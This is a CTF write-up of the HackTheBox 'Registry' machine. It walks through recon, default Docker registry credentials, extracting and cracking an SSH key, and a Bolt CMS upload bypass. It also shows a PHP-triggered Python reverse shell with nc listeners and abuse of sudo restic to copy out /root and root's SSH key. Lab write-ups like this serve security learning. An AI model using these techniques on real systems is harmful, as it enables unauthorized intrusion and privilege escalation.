HackTheBox - Registry
Registry just retired on HackTheBox. It was my first hard box and was pretty interesting with real-life scenario like I love. This box shows the importance of understanding how things works “behind the scene” and to read all documentations carefully to not miss anything. I recommend this box for people who finished few medium difficulty boxes and wants to level-up.
Tl;Dr: The user flag consisted in finding an INSTALL
archive containing install instruction and certificate to deploy an online docker registry, this certificate was used on the docker registry running on the box. Using this cert we could connect to the registry API and pull the docker image available on it. Running the docker image locally and doing recon into it allows to find an SSH key along with its passphrase. This key would allow to connect to the bolt
user account and grab the user flag.
The root flag required to access a CMS after brute-forcing the admin password found in a sqlite database. From the CMS we pivot from the bolt
user to www-data
user by exploiting insecure file upload vulnerability. From www-data
a backup software - restic - can be run as sudo without password. Using this software we are able to backup the whole /root/
folder and restore its content with read privileges for www-data
including the root.txt
flag and a .ssh/id_rsa
key allowing us to get a full shell as root.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.171 registry.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC registry.htb |
Port 80
, 443
and 22
are open.
One interesting point, the SSL certificate have docker.registry.htb
as common Name
. Let’s add it to our host file as it can be useful later:
1 | [hg8@archbook ~]$ echo "10.10.10.159 docker.registry.htb" >> /etc/hosts |
Opening http://regirstry.htb
display the default nginx page:
While http://docker.registry.htb
return empty response:
1 | [hg8@archbook ~]$ curl -i http://docker.registry.htb/ |
That’s not much informations here… Let’s run gobuster
to see if we can find more interesting stuff:
1 | [hg8@archbook ~]$ gobuster dir -u "https://registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k |
The backup endpoint must be used as a script to do…well…backups. It doesn’t return anything either:
1 | [hg8@archbook ~]$ curl -i registry.htb/backup.php |
Next, opening the install
endpoint shows some garbage:
Since we don’t have other endpoint so far let’s investigate a bit more on this last one. First let’s download this page to file:
1 | [hg8@archbook ~]$ wget http://registry.htb/install |
That’s interesting, the file
utility indicate that the install
file is a gzip
archive. Let’s try to extract it. Out of habit I used tar
:
1 | [hg8@archbook ~]$ tar -xzf install |
Despite this bad looking error the files seems to have been extracted properly so that’s good:
1 | [hg8@archbook ~]$ ls -a |
Note: Another way to access archive content when the archive seems corrupted it to use zcat
:
1 | [hg8@archbook ~]$ zcat install |
So we got two files unzipped, a certificate ca.crt
and a readme file readme.md
:
1 | [hg8@archbook ~]$ cat ca.crt |
The readme links to two pieces of documentation:
Deployment of a private docker registry.
Verifying repository client with certificates
These documentation make sense of what we found so far, docker.registry.htb
is probably the API of a private docker registry, while the ca.crt
might be used to connect to the registry securely.
Docker Registry
Now that we have an idea of what’s going on docker.registry.htb
let’s make a bit of recon to see what we can do with this instance. First let’s run gobuster
to see if we can find useful endpoints:
1 | [hg8@archbook ~]$ gobuster dir -u "https://docker.registry.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php -k |
This /v2
endpoint confirms we are looking at an API. Let’s continue:
1 | [hg8@archbook ~]$ curl -i docker.registry.htb/v2/ |
Searching for this error redirect us to the valuable Docker Registry API documentation which will probably be super useful soon:
If a
401 Unauthorized
response is returned, the client should take action based on the contents of the “WWW-Authenticate” header and try the endpoint again. Depending on access control setup, the client may still have to authenticate against different resources, even if this check succeeds.
Www-Authenticate
that got returned to us indicate we have to authenticate through a Basic
authentication method. We didn’t find any username or password yet so… let’s try the classic admin:admin
?
1 | [hg8@archbook ~]$ curl -i -u admin:admin docker.registry.htb/v2/ |
Alright! We have access to the Docker API Registry, the next logical step is to see if any docker image is stored on this registry. According to the documentation we can do so using the _catalog
endpoint:
Images are stored in collections, known as a repository, which is keyed by a
name
, as seen throughout the API specification. A registry instance may
contain several repositories. The list of available repositories is made
available through the catalog.
1 | [hg8@archbook ~]$ curl -u admin:admin http://docker.registry.htb/v2/_catalog |
Great there is indeed an image, let’s pull it to investigate its content:
1 | [hg8@archbook ~]$ docker pull docker.registry.htb/bolt-image |
New error, certificate error…
Remember we found a documentation link and a certificate in the install
archive? Let’s take a look, the solution is surely inside:
A custom certificate is configured by creating a directory under
/etc/docker/certs.d
using the same name as the registry’s hostname, such aslocalhost
. All*.crt
files are added to this directory as CA roots.
Let’s do this with the certificate we got in install
archive:
1 | [hg8@archbook ~]$ sudo mkdir -p /etc/docker/certs.d/docker.registry.htb |
We are getting closer! Let’s login to the docker using the admin:admin
credentials:
1 | [hg8@archbook ~]$ docker login -u admin -p admin http://docker.registry.htb |
Everything should now be in order, let’s pull this damn image:
1 | [hg8@archbook ~]$ docker pull docker.registry.htb/bolt-image |
Looks all good now! We pulled the image and it can be ran locally. We can now start it and get a shell inside, so we can recon for interesting files:
1 | [hg8@archbook ~]$ docker run -it 601499e98a60 /bin/bash |
We have an.ssh/
folder with private key and a username bolt
for registry.htb
host. Looks a little too easy but let’s give a try:
1 | [hg8@archbook ~]$ ssh -i id_rsa [email protected] |
Of course it was too easy, the key need a passphrase and we didn’t find any yet… In these situations I usually try to run john
to quickly brute-force the passphrase:
1 | [hg8@archbook ~]$ ssh2john id_rsa > id_rsa.hash |
No luck here. To be honest it took me too much time to find this passphrase but, as usual, recon is always the key to progress and finally:
1 | root@02c3e9ee87d2:/# grep -ri "passphrase" 2>/dev/null |
ssh-add is a command for adding SSH private keys into the SSH authentication agent for implementing single sign-on with SSH.
As a reminder:
/etc/profile
The systemwide initialization file, executed for login shells
When looking in the /etc/profile
we can see that all scripts in /etc/profile.d/
are executed on login time:
1 | root@02c3e9ee87d2:/# cat /etc/profile |
We now understand why this ssh-add
command is made on login, the combination of ssh-agent
and ssh-add
allow the user to connect to any server he is allowed to access without having to type in a password every time when moving between servers.
Well now that we have all the needed informations, let’s try to login to SSH again:
1 | [hg8@archbook ~]$ ssh -i id_rsa [email protected] |
Root Flag
Alright! Now that we have access to bolt
account. It’s time to escalate it to root.
Recon
The usual quick recon shows that bolt
user doesn’t seems to hold anything very valuable. Let’s investigate the /var/www/html/
directory to take a look at this backup.php
file we found during the user recon phase:
1 | bolt@bolt:/$ cat /var/www/backup.php |
Alright so this php file is calling an external command to make backup it seems. The interesting point here is that the command is launched as root using sudo
. That mean if we can find a flaw in the command we can very probably elevate our privileges to root.
Unfortunately as bolt
user we can not run this command without inputting password. Seeing the backup.php
file we can guess with good confidence that sudo
have been configured to allow the Apache user (www-data
) to run the sudo
backup command without inputing password. This way the backup.php
script can be run automatically through cronjob for example.
So now we need to find a way to pivot to www-data
user to exploit this backup script. Let’s investigate.
Pivot bolt -> www-data
While looking in the /var/www/html/
directory we find a bolt/
folder. This one was missed by gobuster
during our recon phase.
So what’s this bolt?
Opening https://registry.htb/bolt
display an empty sample website:
A quick Google search gives us additional information about what Bolt is:
Bolt is a free, open-source content management system based on PHP. It was released in 2012 and developed by Two Kings and the Bolt community. Bolt uses Twig for templates and includes features for content and user management.
Bolt.cm
I will add it to my usual recon list to make sure not missing it next time:
1 | [hg8@archbook ~]$ echo bolt >> ~/SecLists/Discovery/Web-Content/big.txt |
Reading through the documentation we can see that the admin interface is available at https://registry.htb/bolt/bolt :
No common password combination seems to work here. No need to loose time brute-forcing, since we have access the app code source through the bolt
ssh user account let’s dig a bit there to see if we can find any interesting config files.
Looking around we quickly stumble across bolt
sqli database in /var/www/html/bolt/database/bolt.db
.
Let’s take a look inside for juicy information:
1 | [hg8@archbook ~]$ sqlite3 bolt.db |
The first thing that catch the attention is this bolt_users
table. Inside we grab the password hash of user Admin
.
Let’s try to crack it using john
:
1 | [hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt admin.hash |
Bingo! So, we got Admin:strawberry
, using those credentials in the admin login page works.
Looking around at the various settings we quickly come across the “File Management” setting, allowing us to upload file to the server. Sounds good to upload a web shell don’t you think?
First thing to try is to send a .php
file to see if we can execute php on the server:
1 | echo "<?php phpinfo();" > test.php |
Unfortunately when trying to upload we receive the following error message:
No php allowed. At this point I tried various way to bypass the file upload restrictions:
- Changing extension (
test.PHp
,test.php7
since server runs PHP7) - Content-type bypass
- Double extension (
test.php.jpg
,test.jpg.php
) - Null Character (
test.php%00.jpg
) - Using GIF89a; header
But didn’t managed to get any of this to work. Searching a bit farther we discover that it’s possible to change the allowed extension list in “Configuration/Main Configuration”. Even though a comment state .php
extension are “never acceptable”, adding it to the list seems to work and let us upload php file:
1 | # Note that certain file-types are never acceptable, even if they are in this list. |
The php file is now accessible at https://registry.htb/bolt/files/hg8.php
:
Good, we are on the right track to upload a web shell. Unfortunately it’s not that simple, the uploaded files gets deleted and configuration file reset every 1 minute or so, making it impossible to use a web shell. The good news is we do have an access to the server on ssh as bolt
user, here is how we can proceed to get a stable shell:
- Create a reverse shell script with the
bolt
account on the server/tmp
folder. - Upload a
.php
file executing this script.
This way we get a reverse that will be executed as www-data
and will stay up even after the .php
file gets deleted. Here is one way to do so:
First let’s create the reverse shell script. I will use Python one:
1 | bolt@bolt:/$ cat /tmp/hg8.py |
Now our php file calling this hg8.py
reverse shell:
1 | [hg8@archbook ~]$ echo '<?php shell_exec("/usr/bin/python /tmp/hg8.py"); ?>' > hg8.php |
Finally let’s open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And let’s redo the process, edit the configuration to allow .php
upload, upload the hg8.php
file and open it!
If everything goes fine and you have been fast enough the connection will open. But it doesn’t… The connection just seem to hang.
The first thing that comes to mind is that a firewall is blocking any connection from outside. Since we have an access on the machine let’s try to open our listener here instead:
1 | bolt@bolt:/$ nc -l -vv -p 8585 |
Let’s now recreate our python reverse shell with registry
IP, reupload and run our hg8.php
and….
1 | bolt@bolt:/$ nc -l -vv -p 8585 |
Alright, we now have access to www-data
account. That’s a good progress. Let’s now try to find if and how we could escalate to root privilege.
While doing the usual recon for privilege escalation, we stumble across the backup command we have seem before:
1 | bolt@bolt:/$ sudo -l |
It’s the restic
command we saw in the /var/www/html/backup.php
file:
1 | bolt@bolt:/var/www/html$ cat /var/www/html/backup.php |
Let’s check for the documentation of restic
to understand better how it works. According to its website:
restic is a backup program that is fast, efficient and secure. It supports the three major operating systems
https://restic.net/
So we have a program that can be run as root
manipulating files we can control. Sounds like a perfect scenario for privilege escalation ;)
Let’s break down the restic
command from backup.php
to understand exactly what’s it’s doing :
1 | bolt@bolt:/$ restic --help |
Alright so if we take this command as example:
1 | restic backup -r rest:http://backup.registry.htb/bolt bolt |
restic
is going to back up the bolt
folder to the distant repository available at http://backup.registry.htb
.
Looking around it seems we can not access nor do anything at http://backup.registry.htb
. But anyway what lays there ? According to the restic
documentation it’s the url of a restic
remote repository. Reading a bit more we can find a tool (restic-rest-server
) to create those remote repositories:
Rest Server is a high performance HTTP server that implements restic’s REST backend API. It provides secure and efficient way to backup data remotely, using restic backup client via the rest: URL.
https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html#rest-server
Seeing this we can understand it’s what is being used on http://backup.registry.htb
.
With all those information in mind we start to understand how we could read files with escalated privileges:
- Setup a local
restic
backup server - Use the following command that
www-data
can run assudo
without password:
1 | /usr/bin/restic backup -r rest:http://our-restic-repo.local /root/ |
- Navigate to the
/root/
folder thatrestic
backup to grab the flag.
It’s not yet a root shell but it should be good enough to grab the root.txt
flag.
Alright so that was the idea, let’s see in practice now!
Restic privileged file read
First thing first let’s build the restic rest-server
binary:
1 | [hg8@archbook ~]$ git clone https://github.com/restic/rest-server.git && cd rest-server |
Let’s now push the binary to the server:
1 | [hg8@archbook ~]$ scp -i id_rsa rest-server [email protected]:/tmp/ |
We can now check the documentation to understand how to run it:
1 | bolt@bolt:/tmp/$ ./rest-server --help |
We have all the needed informations so let’s give a try here. First, still according to the documentation, we need to setup the repository folder :
1 | bolt@bolt:/$ restic init --repo /tmp/hg8-backup |
Now we can start the rest-server
with this backup path:
1 | bolt@bolt:/tmp/$ ./rest-server --path ./hg8-backup --no-auth |
Sounds all good for the repository! Let’s now try to backup the /root/
folder to our backup repository using the sudo
command we are allowed to run without password:
1 | www-data@bolt:/$ sudo /usr/bin/restic backup -r rest:http://localhost:8000 /root |
0 errors
that’s good! Now it’s time to access the file we just backup:
1 | bolt@bolt:/$ restic -r /tmp/hg8-backup/ snapshots |
All that remains to do now is retrieving our flag:
1 | bolt@bolt:/tmp$ cat /tmp/restored-root/root/root.txt |
Looking around we can even find the root
account private ssh key and use it to obtain a root shell:
1 | bolt@bolt:/$ ssh -i /tmp/restored-root/root/.ssh/id_rsa [email protected] |
As always do not hesitate to contact me for any questions or feedbacks :)
See you next time !
-hg8